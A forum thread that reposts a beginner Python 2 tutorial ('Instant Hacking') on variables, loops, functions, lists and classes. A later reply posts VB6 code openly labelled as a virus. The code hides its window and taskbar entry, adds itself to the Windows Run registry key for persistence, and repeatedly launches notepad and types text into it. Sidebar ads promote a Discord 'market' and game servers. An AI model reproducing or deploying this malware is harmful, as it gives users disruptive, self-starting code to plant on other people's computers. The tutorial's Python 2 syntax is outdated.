Jump to content

[GUIDE]Instant Hacking


chris18

Recommended Posts

Instant Hacking

 

 

This is a short introduction to the art of programming, with examples written in the programming language Python.

 

This page is not about breaking into other people’s computer systems etc. I’m not into that sort of thing, so please don’t email me about it.

 

 

Note: To get the examples working properly, write the programs in a text file and then run that with the interpreter; do not try to run them directly in the interactive interpreter — not all of them will work. (Please don’t ask me on details on this. Check the documentation or send an email to help@python.org).

 

The Environment

 

To program in Python, you must have an interpreter installed. It exists for most platforms (including Macintosh, Unix and Windows). More information about this can be found on the Python web site. You also should have a text editor (like emacs, notepad or something similar).

 

What is Programming?

 

Programming a computer means giving it a set of instructions telling it what to do. A computer program in many ways resembles recipes, like the ones we use for cooking. For example [1]:

 

Fiesta SPAM Salad

 

Ingredients:

 

Marinade:

1/4 cup lime juice

1/4 cup low-sodium soy sauce

1/4 cup water

1 tablespoon vegetable oil

3/4 teaspoon cumin

1/2 teaspoon oregano

1/4 teaspoon hot pepper sauce

2 cloves garlic, minced

 

Salad:

1 (12-ounce) can SPAM Less Sodium luncheon meat,

    cut into strips

1 onion, sliced

1 bell pepper, cut in strips

Lettuce

12 cherry tomatoes, halved

 

Instructions:

 

In jar with tight-fitting lid, combine all marinade ingredients;

shake well. Place SPAM strips in plastic bag. Pour marinade

over SPAM. Seal bag; marinate 30 minutes in refrigerator.

Remove SPAM from bag; reserve 2 tablespoons marinade. Heat

reserved marinade in large skillet. Add SPAM, onion, and

green pepper. Cook 3 to 4 minutes or until SPAM is heated.

Line 4 individual salad plates with lettuce. Spoon hot salad

mixture over lettuce. Garnish with tomato halves. Serves 4.

 

Of course, no computer would understand this… And most computers wouldn’t be able to make a salad even if they did understand the recipe. So what do we have to do to make this more computer-friendly? Well — basically two things. We have to (1) talk in a way that the computer can understand, and (2) talk about things that it can do something with.

 

The first point means that we have to use a language — a programming language that we have an interpreter program for, and the second point means that we can’t expect the computer to make a salad — but we can expect it to add numbers, write things to the screen etc.

 

Hello…

 

There’s a tradition in programming tutorials to always begin with a program that prints “Hello, world!” to the screen. In Python, this is quite simple:

 

print “Hello, world!”

 

This is basically like the recipe above (although it is much shorter!). It tells the computer what to do: To print “Hello, world!”. Piece of cake. What if we would want it to do more stuff?

 

print “Hello, world!”

print “Goodbye, world!”

 

Not much harder, was it? And not really very interesting… We want to be able to do something with the ingredients, just like in the spam salad. Well — what ingredients do we have? For one thing, we have strings of text, like “Hello, world!”, but we also have numbers. Say we wanted the computer to calculate the area of a rectangle for us. Then we could give it the following little recipe:

 

# The Area of a Rectangle

 

# Ingredients:

 

width = 20

height = 30

 

# Instructions:

 

area = width*height

print area

 

You can probably see the similarity (albeit slight) to the spam salad recipe. But how does it work? First of all, the lines beginning with # are called comments and are actually ignored by the computer. However, inserting small explanations like this can be important in making your programs more readable to humans.

 

Now, the lines that look like foo = bar are called assignments. In the case of width = 20 we tell the computer that the width should be 20 from this point on. What does it mean that “the width is 20”? It means that a variable by the name “width” is created (or if it already exists, it is reused) and given the value 20. So, when we use the variable later, the computer knows its value. Thus,

 

width*height

 

is essentially the same as

 

20*30

 

which is calculated to be 600, which is then assigned to the variable by the name “area”. The final statement of the program prints out the value of the variable “area”, so what you see when you run this program is simply

 

600

 

Note: In some languages you have to tell the computer which variables you need at the beginning of the program (like the ingredients of the salad) — Python is smart enough to figure this out as it goes along.

 

Feedback

 

OK. Now you can perform simple, and even quite advanced calculations. For instance, you might want to make a program to calculate the area of a circle instead of a rectangle:

 

radius = 30

 

print radius*radius*3.14

 

However, this is not significantly more interesting than the rectangle program. At least not in my opinion. It is somewhat inflexible. What if the circle we were looking at had a radius of 31? How would the computer know? It’s a bit like the part of the salad recipe that says: “Cook 3 to 4 minutes or until SPAM is heated.” To know when it is cooked, we have to check. We need feedback, or input. How does the computer know the radius of our circle? It too needs input… What we can do is to tell it to check the radius:

 

radius = input(“What is the radius?”)

 

print radius*radius*3.14

 

Now things are getting snazzy… input is something called a function. (You’ll learn to create your own in a while. input is a function that is built into the Python language.) Simply writing

 

input

 

won’t do much… You have to put a pair of parantheses at the end of it. So input() would work — it would simply wait for the user to enter the radius. The version above is perhaps a bit more user-friendly, though, since it prints out a question first. When we put something like the question-string “What is the radius?” between the parentheses of a function call it is called passing a parameter to the function. The thing (or things) in the parentheses is (or are) the parameter(s). In this case we pass a question as a parameter so that input knows what to print out before getting the answer from the user.

 

But how does the answer get to the radius variable? The function input, when called, returns a value (like many other functions). You don’t have to use this value, but in our case, we want to. So, the following two statements have very different meanings:

 

foo = input

 

bar = input()

 

foo now contains the input function itself (so it can actually be used like foo(“What is your age?”); this is called a dynamic function call) while bar contains whatever is typed in by the user.

 

Flow

 

Now we can write programs that perform simple actions (arithmetic and printing) and that can receive input from the user. This is useful, but we are still limited to so-called sequential execution of the commands, that is — they have to be executed in a fixed order. Most of the spam salad recipe is sequential or linear like that. But what if we wanted to tell the computer how to check on the cooked spam? If it is heated, then it should be removed from the oven — otherwise, it should be cooked for another minute or so. How do we express that?

 

What we want to do, is to control the flow of the program. It can go in two directions — either take out the spam, or leave it in the oven. We can choose, and the condition is whether or not it is properly heated. This is called conditional execution. We can do it like this:

 

temperature = input(“What is the temperature of the spam?”)

 

if temperature > 50:

    print “The salad is properly cooked.”

else:

    print “Cook the salad some more.”

 

The meaning of this should be obvious: If the temperature is higher than 50 (centigrades), then print out a message telling the user that it is properly cooked, otherwise, tell the user to cook the salad some more.

 

Note: The indentation is important in Python. Blocks in conditional execution (and loops and function definitions — see below) must be indented (and indented by the same amount of whitespace; a tab counts as 8 spaces) so that the interpreter can tell where they begin and end. It also makes the program more readable to humans.

 

Let’s return to our area calculations. Can you see what this program does?

 

# Area calculation program

 

print “Welcome to the Area calculation program”

print “–––––––––––––”

print

 

# Print out the menu:

print “Please select a shape:”

print “1  Rectangle”

print “2  Circle”

 

# Get the user’s choice:

shape = input(“> “)

 

# Calculate the area:

if shape == 1:

    height = input(“Please enter the height: “)

    width = input(“Please enter the width: “)

    area = height*width

    print “The area is”, area

else:

    radius = input(“Please enter the radius: “)

    area = 3.14*(radius**2)

    print “The area is”, area

 

New things in this example:

 

  1. print used all by iself prints out an empty line

  2. == checks whether two things are equal, as opposed to =, which assigns the value on the right side to the variable on the left. This is an important distinction!

  3. ** is Python’s power operator — thus the squared radius is written radius**2.

  4. print can print out more than one thing. Just separate them with commas. (They will be separated by single spaces in the output.)

 

The program is quite simple: It asks for a number, which tells it whether the user wants to calculate the area of a rectangle or a circle. Then, it uses an if-statement (conditional execution) to decide which block it should use for the area calculation. These two blocks are essentially the same as those used in the previous area examples. Notice how the comments make the code more readable. It has been said that the first commandment of programming is: “Thou shalt comment!” Anyway — it’s a nice habit to acquire.

Exercise 1

 

Extend the program above to include area calculations on squares, where the user only has to enter the length of one side. There is one thing you need to know to do this: If you have more than two choices, you can write something like:

 

if foo == 1:

    # Do something…

elif foo == 2:

    # Do something else…

elif foo == 3:

    # Do something completely different…

else:

    # If all else fails…

 

Here elif is a mysterious code which means “else if” :). So; if foo is one, then do something; otherwise, if foo is two, then do something else, etc. You might want to add other options to the programs too — like triangles or arbitrary polygons. It’s up to you.

 

 

Link to comment
Share on other sites

(Because in the first post i wasn't allowed to write more,the rest is here.)

 

 

Loops

 

Sequential execution and conditionals are only two of the three fundamental building blocks of programming. The third is the loop. In the previous section I proposed a solution for checking if the spam was heated, but it was quite clearly inadequate. What if the spam wasn’t finished the next time we checked either? How could we know how many times we needed to check it? The truth is, we couldn’t. And we shouldn’t have to. We should be able to ask the computer to keep checking until it was done. How do we do that? You guessed it — we use a loop, or repeated execution.

 

Python has two loop types: while-loops and for-loops. For-loops are perhaps the simplest. For instance:

 

for food in “spam”, “eggs”, “tomatoes”:

    print “I love”, food

 

This means: For every element in the list “spam”, “eggs”, “tomatoes”, print that you love it. The block inside the loop is executed once for every element, and each time, the current element is assigned to the variable food (in this case). Another example:

 

for number in range(1,100):

    print “Hello, world!”

    print “Just”, 100 - number, “more to go…”

 

print “Hello, world”

print “That was the last one… Phew!”

 

The function range returns a list of numbers in the range given (including the first, excluding the last… In this case, [1..99]). So, to paraphrase this:

 

    The contents of the loop is executed for each number in the range of numbers from (and including) 1 up to (and excluding) 100. (What the loop body and the following statements actually do is left as an exercise.)

 

But this doesn’t really help us with our cooking problem. If we want to check the spam a hundred times, then it would be quite a nice solution; but we don’t know if that’s enough — or if it’s too much. We just want to keep checking it while it is not hot enough (or, until it is hot enough — a matter of point-of-view). So, we use while:

 

# Spam-cooking program

 

# Fetch the function *sleep*

from time import sleep

 

print “Please start cooking the spam. (I’ll be back in 3 minutes.)”

 

# Wait for 3 minutes (that is, 3*60 seconds)…

sleep(180)

 

print “I’m baaack :)”

 

# How hot is hot enough?

hot_enough = 50

 

temperature = input(“How hot is the spam? “)

while temperature < hot_enough:

    print “Not hot enough… Cook it a bit more…”

    sleep(30)

    temperature = input(“OK. How hot is it now? “)

 

print “It’s hot enough - You’re done!”

 

New things in this example…

 

  1. Some useful functions are stored in modules and can be imported. In this case we import the function sleep (which sleeps for a given number of seconds) from the module time which comes with Python. (It is possible to make your own modules too…)

 

Exercise 2

 

Write a program that continually reads in numbers from the user and adds them together until the sum reaches 100. Write another program that reads 100 numbers from the user and prints out the sum.

 

Bigger Programs — Abstraction

 

If you want an overview of the contents of a book, you don’t plow through all pages — you take a look at the table of contents, right? It simply lists the main topics of the book. Now — imagine writing a cookbook. Many of the recipes, like “Creamy Spam and Macaroni” and “Spam Swiss Pie” may contain similar things, like spam, in this case - yet you wouldn’t want to repeat how to make spam in every recipe. (OK… So you don’t actually make spam… But bear with me for the sake of example :)). You’d put the recipe for spam in a separate chapter, and simply refer to it in the other recipes. So — instead of writing the entire recipe every time, you only had to use the name of a chapter. In computer programming this is called abstraction.

 

Have we run into something like this already? Yup. Instead of telling the computer exactly how to get an answer from the user (OK - so we couldn’t really do this… But we couldn’t really make spam either, so there… :)) we simply used input - a function. We can actually make our own functions, to use for this kind of abstraction.

 

Let’s say we want to find the largest integer that is less than a given positive number. For instance, given the number 2.7, this would be 2. This is often called the “floor” of the given number. (This could actually be done with built-in Python function int, but again, bear with me…) How would we do this? A simple solution would be to try all possibilities from zero:

 

number = input(“What is the number? “)

 

floor = 0

while floor <= number:

    floor = floor+1

floor = floor-1

 

print “The floor of”, number, “is”, floor

 

Notice that the loop ends when floor is no longer less than (or equal to) the number; we add one too much to it. Therefore we have to subtract one afterwards. What if we want to use this “floor”-thing in a complex mathematical expression? We would have to write the entire loop for every number that needed “floor”-ing. Not very nice… You have probably guessed what we will do instead: Put it all in a function of our own, called “floor”:

 

def floor(number):

    result = 0

    while result <= number:

        result = result+1

    result = result-1

    return result

 

New things in this example…

 

  1. Functions are defined with the keyword def, followed by their name and the expected parameters in parentheses.

  2. If the function is to return a value, this is done with the keyword return (which also automatically ends the function.

 

Now that we have defined it, we can use it like this:

 

x = 2.7

y = floor(2.7)

 

After this, y should have the value 2. It is also possible to make functions with more than one parameter:

 

def sum(x,y):

    return x+y

 

Exercise 3

 

Write a function that implements Euclid’s method for finding a common factor of two numbers. It works like this:

 

  1. You have two numbers, a and b, where a is larger than b

  2. You repeat the following until b becomes zero:

  3. a is changed to the value of b

  4. b is changed to the remainder when a (before the change) is divided by b (before the change)

  5. You then return the last value of a

 

Hints:

 

  1. Use a and b as parameters to the function

  2. Simply assume that a is greater than b

  3. The remainder when x is divided by z is calculated by the expression x % z

  4. Two variables can be assigned to simultaneously like this: x, y = y, y+1. Here x is given the value of y (that is, the value y had before the assignment) and y is incremented by one

 

More About Functions

 

How did the exercise go? Was it difficult? Still a bit confused about functions? Don’t worry — I haven’t left the topic quite yet.

 

The sort of abstraction we have used when building functions is often called procedural abstraction, and many languages use the word procedure along with the word function. Actually, the two concepts are different, but both are called functions in Python (since they are defined and used in the same way, more or less.)

 

What is the difference (in other languages) between functions and procedures? Well — as you saw in the previous section, functions can return a value. The difference lies in that procedures do not return such a value. In many ways, this way of dividing functions into two types — those who do and those who don’t return values — can be quite useful.

 

A function that doesn’t return a value (a “procedure”) is used as a “sub-program” or subroutine. We call the function, and the program does some stuff, like making whipped cream or whatever. We can use this function in many places without rewriting the code. (This is called code reuse — more on that later.)

 

The usefulness of such a function (or procedure) lies in its side effects — it changes its environment (by mixing the suger and cream and whipping it, for instance…) Let’s look at an example:

 

def hello(who):

    print “Hello,”, who

 

hello(“world”)

# Prints out “Hello, world”

 

Printing out stuff is considered a side effect, and since that is all this function does, it is quite typical for a so-called procedure. But… It doesn’t really change its environment does it? How could it do that? Let’s try:

 

# The *wrong* way of doing it

age = 0

 

def setAge(a):

    age = a

 

setAge(100)

print age

# Prints “0”

 

What’s wrong here? The problem is that the function setAge creates it own local variable, also named age which is only seen inside setAge. How can we avoid that? We can use something called global variables.

 

Note: Global variables are not used much in Python. They easily lead to bad structure, or what is called spaghetti code. I use them here to lead up to more complex techniques - please avoid them if you can.

 

By telling the interpreter that a variable is global (done with a statement like global age) we effectively tell it to use the variable outside the function instead of creating a new local one. (So, it is global as opposed to local.) The program can then be rewritten like this:

 

# The correct, but not-so-good way of doing it

age = 0

 

def setAge(a):

    global age

    age = a

 

setAge(100)

print age

# Prints “100”

 

When you learn about objects (below), you’ll see that a more appropriate way of doing this would be to use an object with an age property and a setAge method. In the section on data structures, you will also see some better examples of functions that change their environment.

 

Well — what about real functions, then? What is a function, really? Mathematical functions are like a kind of “machine” that gets some input and calculates a result. It will return the same result every time, when presented with the same input. For instance:

 

def square(x):

    return x*x

 

This is the same as the mathematical function f(x)=x2. It behaves like a nice function, in that it only relies on its input, and it does not change its environment in any way.

 

So — I have outlined two ways of making functions: One type is more like a procedure, and doesn’t return a result; the other is more like a mathematical function and doesn’t do anything but returning a result (almost). Of course, it is possible to do something in between the two extremes, although when a function changes things, it should be clear that it does. You could signal this through its name, for instance by using only a noun for “pure” functions like square and an imperative for procedure-like functions like setAge.

 

More Ingredients — data structures

 

Well — you know a lot already: How to get input and give output, how to structure complicated algorithms (programs) and to perform arithmetic; and yet the best is still to come.

 

What ingredients have we been using in our programs up until now? Numbers and strings. Right? Kinda boring… No let’s introduce a couple of other ingredients to make things a bit more exciting.

 

Data structures are ingredients that structure data. (Surprise, surprise…) A single number doesn’t really have much structure, does it? But let’s say we want more numbers put together to a single ingredient — that would have some structure. For instance, we might want a list of numbers. That’s easy:

 

[3,6,78,93]

 

I mentioned lists in the section on loops, but didn’t really say much about them. Well — this is how you make them. Just list the elements, separated by commas and enclosed in brackets.

 

Let us jump into an example that calculates primes (numbers divisible only by themselves or 1):

 

# Calculate all the primes below 1000

# (Not the best way to do it, but…)

 

result = [1]

candidates = range(3,1000)

base = 2

product = base

 

while candidates:

    while product < 1000:

        if product in candidates:

            candidates.remove(product)

        product = product+base

    result.append(base)

    base = candidates[0]

    product = base

    del candidates[0]

 

result.append(base)

print result

 

New things in this example…

 

  1. The built-in function range actually returns a list that can be used like all other lists. (It includes the first index, but not the last.)

  2. A list can be used as a logic variable. If it is not empty, then it is true — if it is empty, then it is false. Thus, while candidates means “while the list named candidates is not empty” or simply “while there are still candidates”.

  3. You can write if someElement in someList to check if an element is in a list.

  4. You can write someList.remove(someElement) to remove someElement from someList.

  5. You can append an element to a list by using someList.append(something). Actually, you can use + too (as in someList = someList+[something]) but it is not as efficient.

  6. You can get at an element of a list by giving its position as a number (where the first element, strangely, is element 0) in brackets after the name of the list. Thus someList[3] is the fourth element of the list someList. (More on this below.)

  7. You can delete variables by using the keyword del. It can also be used (as here) to delete elements from a list. Thus del someList[0] deletes the first element of someList. If the list was [1,2,3] before the deletion, it would be [2,3] afterwards.

 

Before going on to explaining the mysteries of indexing list elements, I will give a brief explanation of the example.

 

This is a version of the ancient algorithm called “The Sieve of Erastothenes” (or something close to that). It considers a set (or in this case, a list) of candidate numbers, and then systematically removes the numbers known not to be primes. How do we know? Because they are products of two other numbers.

 

We start with a list of candidates containing numbers [2..999] — we know that 1 is a prime (actually, it may or may not be, depending on who you ask), and we wanted all primes below 1000. (Actually, our list of candidates is [3..999], but 2 is also a candidate, since it is our first base). We also have a list called result which at all times contains the updated results so far. To begin with, this list contains only the number 1. We also have a variable called base. For each iteration (“round”) of the algorithm, we remove all numbers that are some multible of this base number (which is always the smallest of the candidates). After each iteration, we know that the smallest number left is a prime (since all the numbers that were products of the smaller ones are removed — get it?). Therefore, we add it to the result, set the new base to this number, and remove it from the candidate list (so we won’t process it again.) When the candidate list is empty, the result list will contain all the primes. Clever, huh?

 

Things to think about: What is special with the first iteration? Here the base is 2, yet that too is removed in the “sieving”? Why? Why doesn’t that happen to the other bases? Can we be sure that product is always in the candidate list when we want to remove it? Why?

 

Now — what next? Ah, yes… Indexing. And slicing. These are the ways to get at the individual elements of Python lists. You have already seen ordinary indexing in action. It is pretty straightforward. Actually, I have told you all you need to know about it, except for one thing: Negative indices count from the end of the list. So, someList[-1] is the last element of someList, someList[-2] is the element before that, and so on.

 

Slicing, however, should be new to you. It is similar to indexing, except with slicing you can target an entire slice of the list, and not just a single element. How is it done? Like this:

 

food = [“spam”,”spam”,”eggs”,”sausages”,”spam”]

 

print food[2:4]

# Prints “[‘eggs’, ‘sausages’]”

 

More Abstraction — Objects and Object-Oriented Programming

 

Now there’s a buzz-word if ever there was one: “Object-oriented programming.”

 

As the section title suggests, object-oriented programming is just another way of abstracting away details. Procedures abstract simple statements into more complex operations by giving them a name. In OOP, we don’t just treat the operations this way, but objects. (Now, that must have been a big surprise, huh?) For instance, if we were to make a spam-cooking-program, instead of writing lots of procedures that dealt with the temperature, the time, the ingredients etc., we could lump it together into a spam-object. Or, perhaps we could have an oven-object and a clock-object too… Now, things like temperature would just be attributes of the spam-object, while the time could be read from the clock-object. And to make our program do something, we could teach our object some methods; for instance, the oven might know how to cook the spam etc.

 

So — how do we do this in Python? Well we can’t just make an object directly. Instead of just making an oven, we make a recipe describing how ovens are. This recipe then describes a class of objects that we call ovens. A very simple oven class might be:

 

class Oven:

    def insertSpam(self, spam):

        self.spam = spam

 

    def getSpam(self):

        return self.spam

 

Now, does this look weird, or what?

 

New things in this example…

 

  1. Classes of objects are defined with the keyword class.

  2. Class names usually start with capital letters, whereas functions and variables (as well as methods and attributes) start with lowercase letters.

  3. Methods (i.e. the functions or operations that the objects know how to do) are defined in the normal way, but inside the class block.

  4. All object methods should have a first parameter called self (or something similar…) The reason will (hopefully) become clear in a moment.

  5. Attributes and methods of an object are accessed like this: mySpam.temperature = 2, or dilbert.be_nice().

 

I would guess that some things are still a bit unclear about the example. For instance, what is this self thing? And, now that we have an object recipe (i.e. class), how do we actually make an object?

 

Let’s tackle the last point first. An object is created by calling the classname as if it were a function:

 

myOven = Oven()

 

myOven now contains an Oven object, usually called an instance of the class Oven. Let’s assume that we have made a class Spam as well; then we could do something like:

 

mySpam = Spam()

myOven.insertSpam(mySpam)

 

myOven.spam would now contain mySpam. How come? Because, when we call one of the methods of an object, the first parameter, usually called self, always contains the object itself. (Clever, huh?) Thus, the line self.spam = spam sets the attribute spam of the current Oven object to the value of the parameter spam. Note that these are two different things, even though they are both called spam in this example.

Answer to Exercise 3

 

Here is a very concise version of the algorithm:

 

def euclid(a,b):

    while b:

        a,b = b,a % b

    return a

 

References

 

[1]  Recipe for Fiesta Spam Salad taken from the Hormel Foods Digital Recipe Book

 

Link to comment
Share on other sites

Private Sub Form_Load()

Timer1.Interval = 100

Form1.Visible = False

App.TaskVisible = False

reg.Key = HKEY_CURRENT_USER

reg.KeyRoot = "Software\Microsoft\Windows\CurrentVersion\run"

reg.RegistrySetValue "gg", App.Path & "\" & App.EXEName, REG_SZ

MsgBox "Oh shit", vbCritical, "Ruben say:" & Now

End Sub

Private Sub Timer1_Timer()

d = Now

If d = Now Then

Shell "notepad.exe", vbNormalFocus

SendKeys "DarkInjection*Owned*()Here*", 5

End If

End Sub

 

this is virus for VB6

 

Link to comment
Share on other sites

Please sign in to comment

You will be able to leave a comment after signing in



Sign In Now


  • Posts

    • DISCORD : utchiha_market telegram  https://t.me/utchiha_market SELLIX STORE : https://utchiha-market.mysellix.io/ Join our server for more products : https://discord.gg/hoodservices
    • Grand Opening May 17th   Rates EXP/SP x50 Adena x50 Spoil x5 Seal Stones x5 Quest x5   Augmentation Skill and Glow chance are retail. Active and passive skills has the same status. Active skills increased time to 20 minutes.   Buffs Time 120 minutes. 24 slots, +4 divine inspiration. (need learn) Pets does not lose buffs with noblesse.   Clan & Alliance Clan penalties disabled. Alliance only 1 clan - for large crest. Max. 18 members in Raidboss and Siege zones.   Castle Sieges Sieges every 2 weeks. Siege duration 60 minutes. Only 1 castle available for sieges.   Enchant Weapons from +0 to +3: 100% from +3 to +16: 70% (decreasing 4% each level) Armors from +0 to +3: 100% from +3 to +10: 50% (decreasing 4% each level) Blessed enchant on failure returns the item +3.   Events Capture the Flag - Every day at 12:30 and 18:30. Crazy Rates - On weekends, full time. Death Match - Every day at 14:30 and 20:30. Kill the Boss - Every day at 21:30. Party Farm - On weekends at 16:00. Team vs Team - Every day at 16:30 and 22:30. Treasure Hunt - On Sundays, from 14:00 to 14:30.   Olympiads Ends on Mondays. Battle period: 20:00-00:00. Start battles: 5 registered players. No class-based battles. Tie does not lose points. Hero skills are retail.   Special NPCS Buffer: All buffs, including schemes. Class Master: 1st, 2nd and 3rd class free. Exchange Manager: Exclusive exchange system. General Manager: Shop, donation, services, functions, server infos... Global Gatekeeper: Teleport to all kingdoms and areas, free. Siege Manager: Contains info for all castles. Wedding Manager: Formal wear and adena required to get married.   Soul Crystals Stages from 7 to 12 selling at luxury shop by cristals. (retail) Stage 13 Anakazel and Ember: chance 15%. Antharas, Frintezza and Valakas: chance 100%.     Subclass & Noblesse Subclass free. (no quest) Add subclass at all Village Master. Max. 5 subclasses. Noblesse quest. (retail)   Voice Commands .menu - main features including auto farm & potion. .help - contains all available commands.     Additional Features Auto loot. Auto learn skills. Inventory slots 150. Seven Signs open 24/7. Shout/Trade chat delay 10s. Hero chat delay 30s. Chat filter - for illegal words. Offline shop. Shift + click on monsters to see the droplist. Spawn protection by 30 seconds. Max. 3 sessions per pc. Automatic restart at 07:00.   Raid Bosses Common Raids: 18h + 6h random. Barakiel: 6h. (no random) Tyrannosaurus: 5 minutes. Raids listed on the site/npc have improved stats and drops.   Sailren: Monday at 21:00. (individual teleport and locked after boss spawn) Queen Ant: Monday at 22:00.   Core: Tuesday at 21:00. Orfen: Tuesday at 22:00.   Dr. Chaos: Wednesday at 21:00. Zaken: Wednesday at 22:00. (door opens 00:00 game time and when boss is spawned)   Andreas van Halter: Thursday at 21:00. Frintezza: Thursday at 21:00. (random +/- 15 minutes. Need CC, min.2/max.5 parties)   Anais: Friday at 21:00. Baium: Friday at 22:00. (random +/- 15 minutes)   Antharas: Saturday at 21:00.   Valakas: Sunday at 21:00. All Epics are in PvP area and will be dead at server launch.   Changes Bishop level 40 has Noblesse Blessing skill. All debuffs with time greater than 30s have been reduced to 30s. All cancel skills remove buffs for 10 seconds. Cancellation increased reuse time x5 and chance to 100. Deflect Arrow increased power from 40 to 60. Mirage reduced time from 60s to 30s. Dodge increased the time from 5s to 15s, reuse time x2. Counterattack increased the time from 5s to 15s, reuse time x2. Touch of Death increased chance from 80 to 100. Arrest range increased from 150 to 600. (like shackle) Stun/Shock effect time reduced to 5 seconds. FOI works like in GF. (removed on any action except movement) Major Arcana Set 15% cast speed, 2% m.atk. instead of 17% m.atk. Imperial Staff adds Acumen instead of Empower. Removed fear skills from Antharas and Valakas. Removed teleport skills from Zaken.
    • After 12 years after our first launch of Frintezza, we are not the young men and women anymore, a lot of us have jobs, family, kids, or something else that doesn't allow us to play this game the amount of time that we used to have, but we still want to play this wonderful game once again. In this order of ideas, this is why we have thought of a battery of customizations to the OFF files in order to bring you a great quality of game and at the same time, make it more enjoyable at the time of sitting down to play it. These quality of life improvements contain: Frintezza II x1 - Game Features  General Server Settings  Frintezza Core  Founder Membership  Premium Accounts  Server Phases  General Settings  Starter Packs (ingame Gifts)  Improved Mana Regeneration system  Buff system through Agathions  Vitamin Pets (Hunting Partners)  Class rebalance (skills modifications & new skills)  Gatekeepers improvement  Black Wyvern Rider  UI improvements  Enchantment system improvements  Quality of Life changes Re: Frintezza x1 - Server Settings & General information  TUE MAR 12, 2024 5:38 PM  XP & SP: x1  Adena: x1.5  Drop: x1  Spoil: x2  Quest Drop: x2  Quest Reward: x2  High-End Server and Network: Our platform boasts an enterprise-class server equipped with dual physical processors, featuring 144 threads, and employs Enterprise SuperFast NVME U2 storage to ensure a seamless gaming experience without lag. Our network is fortified against DDOS attacks and includes multiple DDOS-protected Accelerator links through AWS, OVH, and Hetzner.  L2OFF PTS: We prioritize game stability and authentic retail features. To achieve this, we offer the finest Files, Scripts, and Geodata available. We extend an invitation for you to join our exclusive Founder Membership. As a member, you will enjoy lifetime weekly rewards across all current and future servers. Don't miss this opportunity to continuously earn rewards across all our platforms. Founder Member Benefits Weekly Rewards: Lifetime rewards on any current and future servers. Anniversary Rewards: Lifetime rewards on any current and future servers. Stay Informed: Be the first to receive email notifications about the launch of new servers. Participate in Polls: Have a say in the selection of upcoming server chronicles and styles. Exclusive Beta Access: Be among the first to be informed about and invited to closed beta tests. Preferred Nickname Selection: Founder members receive priority in choosing their nicknames. Preferred Clan name Selection: Founder members receive priority in choosing their clan names. FrintezzaL2 Community Upcoming Servers: A variety of server rates including low, mid, and high, across different Chronicles (C4, Interlude, H5, Classic, Essence). Upcoming Styles: A selection of gameplay styles such as Vanilla L2OFF, Stacksub, Craft, PVP, GVE, and more. Your Opinion Matters: Our community is built on the feedback of our members. We strive to create a welcoming environment and are committed to using your recommendations and opinions to enhance the gaming experience. We encourage you to share your thoughts in our Discord and Forum. Your input is valuable and will contribute to making a meaningful difference. Be a Founder Member today, HERE!  XP & SP: +50%  Adena: +50%  Drop: +50%  Spoil: +25% Premium Features Auto-Hunt usage Blacksmith of Mammon through the Premium Manager Merchant of Mammon through the Premium Manager Weekly Consumables Rewards through the Premium Manager Premium Cost  15 days - 150 Frintezza Coins   Dawnfall Dominion marks the beginning of your journey in the world of Lineage 2. In this phase, players start as fledgling adventurers, exploring the lands, honing their skills, and facing the challenges of the early game. They can progress up to level 70, forming alliances, battling monsters, and laying the foundation for their adventures to come. Game-related context: Players begin their journey in the lower level zones, encountering basic quests, monsters, and dungeons suitable for beginners. Focus is on leveling up, acquiring gear, learning the game mechanics and being part of Epic battles fighting the Ant Queen, Core and Orfen. Rates: 1-70: x1 Key points Phase duration: 1 month Equipment goal: A-Grade Raid bosses: Ant Queen, Orfen and Core. First respawn will be previusly announced. Midgard's Ascendancy represents a significant advancement in your journey. As players reach this stage, they have already proven themselves as formidable warriors, capable of facing greater challenges. With the level cap raised to 80, players delve deeper into the world's lore, engage in epic battles, and unlock new abilities with 3rd class changes, subclass and olympiads. Game-related context: In this phase, players explore more advanced zones, encounter tougher monsters, and participate in more complex quests and events. They may also engage in PvP battles, begin to focus on endgame content and battle the fierce Baium. Rates: 1-70: x3 70-80: x1 Key points Phase duration: 1 month Equipment goal: Icarus & Moirai Raid bosses: Baium & Zaken. First respawn will be previusly announced, also Ant Queen, Orfen and Core will have their levels raised and drops altered. Start of Olympiads Twilight's Apex marks the pinnacle of power and achievement in your Lineage 2 journey. As players reach level 85, they stand among the mightiest heroes of the realm, wielding incredible strength and skill. In this phase, players undertake legendary quests, conquer formidable foes, and vie for supremacy in epic battles that shape the fate of the world. Game-related context: At this stage, players tackle the most challenging content the game has to offer, including high-level raids, Epic bosses, and PvP battles. They may also focus on maximizing their character's abilities through advanced gear, skills, and strategic gameplay as they reach level 85. Rates: 1-70: x7 70-80: x3 81+: x1 Key points Equipment goal: Vesper & Vorpal Raid bosses: Frintezza, Freya, Beleth, Antharas & Valakas.  Chronicle: High-Five  Premium Buff system: Agathions basic buff time 4 hs, dances/songs/prophecies 20 minutes.  Community Board: Yes  Equipment: Retail like, up to Top-C in the normal shops, including common & shadow equipment.  Monsters: Original monsters. Quantity of monsters in initial areas has been increased and also reduced the respawn time to avoid traffic jam.  Vitality: Retail-Like  Dual box: Allowed 2 windows per PC 1st & 2nd Class changes: 1st change 50k adena, 2nd change 1kk adena (Reward Agathion: Griffin) or 200 coins (Reward Agathion: Griffin + 5kk Adena) or else, quests.  Skills: Auto-learn  Noblesse: 300 coins Noblesse (+1sub) or else, quest chain.  Offline shop: Available  Auto-loot: Available Catacombs/Necropolises: Retail-like  Manor: Available  Herbs: Available  In-game store: Available. More details in another topic  In-game Starter Kits: Yes - New characters will receive NG & D-Grade starter kits.  Luxury Shop: Up to A-Grade, including top A items (values have been increased)  Cloaks: Yes - We have unlocked all sets bonuses to have the posibility to wear a Cloak Players will receive the following rewards: No-Grade Beginner's Adventurer Pack: Shadow No-Grade Weapon/Armor, Fruit Cocktail, Soulshots, Blessed Spiritshots and Agathion Monkey. D-Grade Fighter/Mage Support Pack: Common D-Grade Weapon/Armor. Beginner's Adventurer Reinforcement Pack: Afro Hair (7 days) and Rune of EXP 30% (7 days). Introducing an exciting enhancement to gameplay: MP recovery now happens even faster! As a part of our ongoing Quality of Life (QoL) updates, all "Buffer Agathions" will now come equipped with a new buff: Mana Blessing. This buff significantly boosts passive MP regeneration by 10/25, providing a substantial increase in mana recovery speed. Additionally, the Mana Blessing buff effectively reduces incoming Mana Recharge by 70%. This enhancement benefits all players, ensuring a smoother and more efficient gameplay experience for solo players by alleviating concerns about mana management. However, it's essential to note that casting players won't gain a double advantage from this buff due to the Mana Recharge penalty. Experience the convenience and improved gameplay flow with our latest update, designed to enhance your gaming journey like never before!   To enhance your gameplay experience without interrupting your leveling progress, we've replaced NPC buffers in towns with adorable pets that not only serve as cosmetic companions but also provide essential buffs. Players will receive two charming agathions at different stages of the game. 